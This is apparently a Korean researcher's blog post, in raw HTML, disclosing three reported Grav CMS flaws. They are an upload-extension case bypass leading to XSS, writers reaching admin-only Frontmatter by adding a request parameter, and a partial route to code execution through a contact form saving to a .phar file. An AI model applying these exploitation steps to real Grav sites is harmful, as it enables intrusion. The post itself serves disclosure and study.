&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b38569/hyU5LMamAm/mPu0uCxKK4KLhVAoshkABk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - getgrav/grav: Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig, and Symfony - GitHub - getgrav/grav: Modern, Crazy Fast, Ridiculously Easy and Amazingly P...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2. Vulnerablity&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사에서 연구 기간을 잠깐 가졌었는데, Grav CMS를 처음 접하고 취약점을 찾고 싶어서 타겟으로 선정했습니다. 3일간 총 3개의 취약점을 찾았고, 이를 제보하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2.1 파일 확장자 검증 우회로 XSS&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 기능에서 코드를 분석 하다가 확장자 우회를 통한 XSS 취약점을 발견했습니다. 파일 업로드 하면 파일 이름은 `$filename` 변수에 저장됩니다. 이후 `checkFilename()` 함수에서 `$filename` 을 검사합니다. 이후 `mb_strtolower()` 함수로 확장자를 소문자로 바꾸고 설정 파일에 해당 확장자가 존재하는지 확인하는 구조 입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1704982982192&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// system/src/Grav/Common/Media/Traits/MediaUploadTrait.php#L159-L170
// https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php#L159-L170

// Check if the filename is allowed.
if (!Utils::checkFilename($filename)) {
    throw new RuntimeException(
        sprintf($this-&amp;gt;translate('PLUGIN_ADMIN.FILEUPLOAD_UNABLE_TO_UPLOAD'), $filepath, $this-&amp;gt;translate('PLUGIN_ADMIN.BAD_FILENAME'))
    );
}

// Check if the file extension is allowed.
$extension = mb_strtolower($extension);
if (!$extension || !$this-&amp;gt;getConfig()-&amp;gt;get(&quot;media.types.{$extension}&quot;)) {
    // Not a supported type.
    throw new RuntimeException($this-&amp;gt;translate('PLUGIN_ADMIN.UNSUPPORTED_FILE_TYPE') . ': ' . $extension, 400);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`checkFilename()` 함수는 아래와 같습니다. `pathinfo()` 함수로 확장자를 추출하여 이것저것 검증을 하고 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1704983586017&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// system/src/Grav/Common/Utils.php#L980-L995
// https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Utils.php#L980-L995

public static function checkFilename($filename)
{
    $dangerous_extensions = Grav::instance()['config']-&amp;gt;get('security.uploads_dangerous_extensions', []);
    $extension = static::pathinfo($filename, PATHINFO_EXTENSION);

    return !(
        // Empty filenames are not allowed.
        !$filename
        // Filename should not contain horizontal/vertical tabs, newlines, nils or back/forward slashes.
        || strtr($filename, &quot;\t\v\n\r\0\\/&quot;, '_______') !== $filename
        // Filename should not start or end with dot or space.
        || trim($filename, '. ') !== $filename
        // File extension should not be part of configured dangerous extensions
        || in_array($extension, $dangerous_extensions)
    );
}

// $dangerous_extensions = php, html, htm, js, exe&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 코드 블록과 두번째 코드 블록에서 차이점이 존재합니다. 첫번째 코드 블록에서는 확장자를 가져와서 `mb_strtolower()` 함수를 이용하여 소문자로 변경한 뒤 검증하고 있습니다. 하지만, 두번째 코드 블록에서는 확장자를 가져오기만 하고 이를 검증하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, 공격자가 `test.HTML` 로 업로드를 하면 다음과 같은 흐름으로 동작합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`$filename = &quot;test.HTML&quot;`&lt;/li&gt;
&lt;li&gt;`checkFilename()` 함수에서 확장자를 추출하는데, `HTML` 확장자는 `$dangerous_extensions` 변수에 존재하지 않아 통과&lt;/li&gt;
&lt;li&gt;`mb_strtolower()` 함수로 확장자를 소문자로 변경하고 설정 파일에 html 확장자가 정의 되어 있기 때문에 업로드 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 취약점은 서로 다르게 확장자를 검증하고 있는 이슈 였습니다. 이러한 문제점을 악용하여 다음과 같이 HTML 파일을 업로드 하여 XSS를 트리거 했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1680&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/veOlq/btsDncVOoT3/qbH0BNg8dCtx78Li4tzdfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/veOlq/btsDncVOoT3/qbH0BNg8dCtx78Li4tzdfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/veOlq/btsDncVOoT3/qbH0BNg8dCtx78Li4tzdfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FveOlq%2FbtsDncVOoT3%2FqbH0BNg8dCtx78Li4tzdfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1680&quot; height=&quot;307&quot; data-origin-width=&quot;1680&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점을 제보 했지만, 그쪽에서 일 처리를 이상하게 해서(?).. 음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼 패치는 아래처럼 `checkFilename()` 함수에서 확장자를 소문자로 변경하도록 패치했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eb4cvr/btsDj12jusZ/YAfNF4oWO1aJSPTsVY8Ee0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eb4cvr/btsDj12jusZ/YAfNF4oWO1aJSPTsVY8Ee0/img.png&quot; data-alt=&quot;https://github.com/getgrav/grav/commit/80ce87e4a936a3f055d306710cf21120671585ad&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eb4cvr/btsDj12jusZ/YAfNF4oWO1aJSPTsVY8Ee0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feb4cvr%2FbtsDj12jusZ%2FYAfNF4oWO1aJSPTsVY8Ee0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;906&quot; height=&quot;371&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://github.com/getgrav/grav/commit/80ce87e4a936a3f055d306710cf21120671585ad&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2.2&amp;nbsp; Frontmatter 검증 미흡으로 인한 IDOR&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Grav CMS는 글 작성 시, 상세 설정을 위해 Frontmatter 기능을 제공하고 있습니다. 아래 공식 docs에서는 Frontmatter를 이용하여 작성하려는 페이지에 다양한 설정을 할 수 있습니다.&lt;/p&gt;
&lt;figure id=&quot;og_1704984569122&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Headers / Frontmatter&quot; data-og-description=&quot;Grav documentation&quot; data-og-host=&quot;learn.getgrav.org&quot; data-og-source-url=&quot;https://learn.getgrav.org/17/content/headers&quot; data-og-url=&quot;https://learn.getgrav.org/17/content/headers&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bHkpgY/hyU5NJZgAW/qdeAZpM4pUlPawfIbB0ea0/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720,https://scrap.kakaocdn.net/dn/n6p4e/hyU2fOVxqs/PSqFECtzidXjbWuWOl42y1/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720&quot;&gt;&lt;a href=&quot;https://learn.getgrav.org/17/content/headers&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://learn.getgrav.org/17/content/headers&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bHkpgY/hyU5NJZgAW/qdeAZpM4pUlPawfIbB0ea0/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720,https://scrap.kakaocdn.net/dn/n6p4e/hyU2fOVxqs/PSqFECtzidXjbWuWOl42y1/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Headers / Frontmatter&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Grav documentation&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;learn.getgrav.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Frontmatter는 오직 admin 권한을 가진 유저만 사용할 수 있으며, 아래 사진처럼 글 쓰기에서 Expert를 선택하여 사용할 수 있습니다. 예를 들어, 페이지의 title 속성을 변경할 수 있거나 markdown 활성화 여부를 설정할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RGPlL/btsDkzxCoT5/jIWVaCvbhPDv3urhkLqRZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RGPlL/btsDkzxCoT5/jIWVaCvbhPDv3urhkLqRZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RGPlL/btsDkzxCoT5/jIWVaCvbhPDv3urhkLqRZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRGPlL%2FbtsDkzxCoT5%2FjIWVaCvbhPDv3urhkLqRZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1146&quot; height=&quot;362&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 여기서 의문이 들었습니다. admin만 사용할 수 있는 것인가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인을 위해 글 작성 권한이 있는 계정을 만들고 글 작성 했을 때의 요청 패킷을 서로 비교했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왼쪽 패킷은 admin이 Frontmatter에 설정을 작성하고 전송했을 때의 요청 패킷입니다. 오른쪽은 Frontmatter 기능을 쓸 수 없는 권한이고 작성 요청 했을 때의 패킷 입니다. 확인 결과 `data[_json][header][form]` 파라미터의 존재 유무가 있었습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/31fo8/btsDnchdA8D/fA1sVSHfo2cOci10RCZiH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/31fo8/btsDnchdA8D/fA1sVSHfo2cOci10RCZiH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/31fo8/btsDnchdA8D/fA1sVSHfo2cOci10RCZiH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F31fo8%2FbtsDnchdA8D%2FfA1sVSHfo2cOci10RCZiH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1136&quot; height=&quot;541&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 admin 요청 패킷에 있는 `data[_json][header][form]` 파라미터를 writer 요청 패킷에 추가하여 전달했습니다. 결과는 writer도 Frontmatter 기능을 사용할 수 있었습니다. 즉, 코드 상에서는 Frontmatter 기능의 권한 검증을 제대로 하지 않고 있는 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1142&quot; data-origin-height=&quot;535&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uF4D7/btsDlmYXWp0/PDxe5yLKkTThmQv28xwjNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uF4D7/btsDlmYXWp0/PDxe5yLKkTThmQv28xwjNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uF4D7/btsDlmYXWp0/PDxe5yLKkTThmQv28xwjNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuF4D7%2FbtsDlmYXWp0%2FPDxe5yLKkTThmQv28xwjNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1142&quot; height=&quot;535&quot; data-origin-width=&quot;1142&quot; data-origin-height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 취약점 또한 제보했지만, 글 작성 시점에도 여전히 패치 되지 않았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 IDOR 취약점으로 뭘 할 수 있을지 공식 docs를 읽었습니다. 그러다가 Frontmatter 기능으로 Contact Form을 만들 수 있다는 것을 알게 되었습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2.3 Contact Form을 악용하여 RCE&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Frontmatter 기능으로 contact form을 만들 수 있습니다. 아래 공식 docs를 참고 바랍니다.&lt;/p&gt;
&lt;figure id=&quot;og_1704984924885&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Example: Contact Form&quot; data-og-description=&quot;Grav documentation&quot; data-og-host=&quot;learn.getgrav.org&quot; data-og-source-url=&quot;https://learn.getgrav.org/17/forms/forms/example-form&quot; data-og-url=&quot;https://learn.getgrav.org/17/forms/forms/example-form&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/lk9ao/hyU5P8RNN5/yEkEa1B5lxe6IbpGbYMe60/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720,https://scrap.kakaocdn.net/dn/Bagtp/hyU2ikACXL/ynah7xTC7QwUX6cwkA51t1/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720&quot;&gt;&lt;a href=&quot;https://learn.getgrav.org/17/forms/forms/example-form&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://learn.getgrav.org/17/forms/forms/example-form&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/lk9ao/hyU5P8RNN5/yEkEa1B5lxe6IbpGbYMe60/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720,https://scrap.kakaocdn.net/dn/Bagtp/hyU2ikACXL/ynah7xTC7QwUX6cwkA51t1/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Example: Contact Form&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Grav documentation&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;learn.getgrav.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 아래처럼 Contact Form을 작성하면 이용자는 name을 입력할 수 있고 submit 버튼을 클릭하면 서버에는 `process` 에 정의되어 있는 것 처럼 `contact-{Ymd-His-u}.txt` 파일로 저장됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1704984995475&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;---
title: Contact Form

form:
    name: contact

    fields:
        name:
          label: Name
          placeholder: Enter your name
          autocomplete: on
          type: text
          validate:
            required: true

    buttons:
        submit:
          type: submit
          value: Submit

    process:
        save:
            fileprefix: contact-
            dateformat: Ymd-His-u
            extension: txt
---

# Contact form

Some sample page content&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpIZ34/btsDopmKyVq/XfqiPKLhw9HF2KHv8z0b71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpIZ34/btsDopmKyVq/XfqiPKLhw9HF2KHv8z0b71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpIZ34/btsDopmKyVq/XfqiPKLhw9HF2KHv8z0b71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpIZ34%2FbtsDopmKyVq%2FXfqiPKLhw9HF2KHv8z0b71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;214&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 Frontmatter 설정 코드에서 `process` 의 `save` 속성에 관심이 갔습니다. 외부 이용자가 input 태그에 값을 적고 제출하면 `process` 의 `save` 속성에 정의 되어 있는 것처럼 서버에 파일이 저장되는 로직입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 속성을 찾아보니 공식 docs에는 `filename` 이라는 속성이 있었습니다.&lt;/p&gt;
&lt;figure id=&quot;og_1704985921321&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Reference: Form Actions&quot; data-og-description=&quot;Grav documentation&quot; data-og-host=&quot;learn.getgrav.org&quot; data-og-source-url=&quot;https://learn.getgrav.org/17/forms/forms/reference-form-actions#save&quot; data-og-url=&quot;https://learn.getgrav.org/17/forms/forms/reference-form-actions&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hdiRt/hyU5LSWmEp/qMKNfwPb9xlRplMdhP7dn1/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720,https://scrap.kakaocdn.net/dn/YrThq/hyU2oLRSxH/nO1Ah9DVCHFhXKzDtxQeak/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720&quot;&gt;&lt;a href=&quot;https://learn.getgrav.org/17/forms/forms/reference-form-actions#save&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://learn.getgrav.org/17/forms/forms/reference-form-actions#save&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hdiRt/hyU5LSWmEp/qMKNfwPb9xlRplMdhP7dn1/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720,https://scrap.kakaocdn.net/dn/YrThq/hyU2oLRSxH/nO1Ah9DVCHFhXKzDtxQeak/img.png?width=1440&amp;amp;height=720&amp;amp;face=0_0_1440_720');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Reference: Form Actions&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Grav documentation&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;learn.getgrav.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 아래와 같이 작성하면 서버에 저장될 `filename` 값을 설정할 수 있는 것입니다. 과연 `filename` 속성 값을 코드 상에서는 검증을 제대로 확인하는지 확인해봤습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1704985953722&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;process:
    - save:
        filename: feedback.txt
        operation: add&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 위 로직의 코드 일부분을 가져온 것입니다. `filename` 파라미터에 대한 검증 없이 업로드를 처리하고 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1704986320213&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// https://github.com/getgrav/grav-plugin-form/blob/d84c57ba923fc557d362658b43e0c570efa0ccb4/form.php#L652-L717

case 'save':
    $filename = $params['filename'] ?? '';

    if (!$filename) {
        if ($operation === 'add') {
            throw new RuntimeException('Form save: \'operation: add\' is only supported with a static filename');
        }

        $filename = $prefix . $this-&amp;gt;udate($format, $raw_format) . $postfix . $ext;
    }

    // Process with Twig
    $filename = $twig-&amp;gt;processString($filename, $vars);

    $locator = $this-&amp;gt;grav['locator'];
    $path = $locator-&amp;gt;findResource('user-data://', true);
    $dir = $path . DS . $folder;
    $fullFileName = $dir . DS . $filename;

    $file = File::instance($fullFileName);
    $file-&amp;gt;lock();
    $form-&amp;gt;copyFiles();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 처럼 `filename` 속성 값을 `test.phar` 로 변경하고 writer 권한을 가진 이용자가 IDOR 취약점을 이용하여 Frontmatter 로 Contact Form을 작성합니다. 이후 입력 값에 php 코드를 작성하고 제출하면 아래처럼 서버에 test.phar 파일이 생성 및 공격자가 작성한 php 코드가 저장됩니다. 하지만, 꺽쇠가 필터링 되어 저장된 것을 볼 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1704986463103&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;process:
    - save:
        filename: test.phar
        operation: add&lt;/code&gt;&lt;/pre&gt;
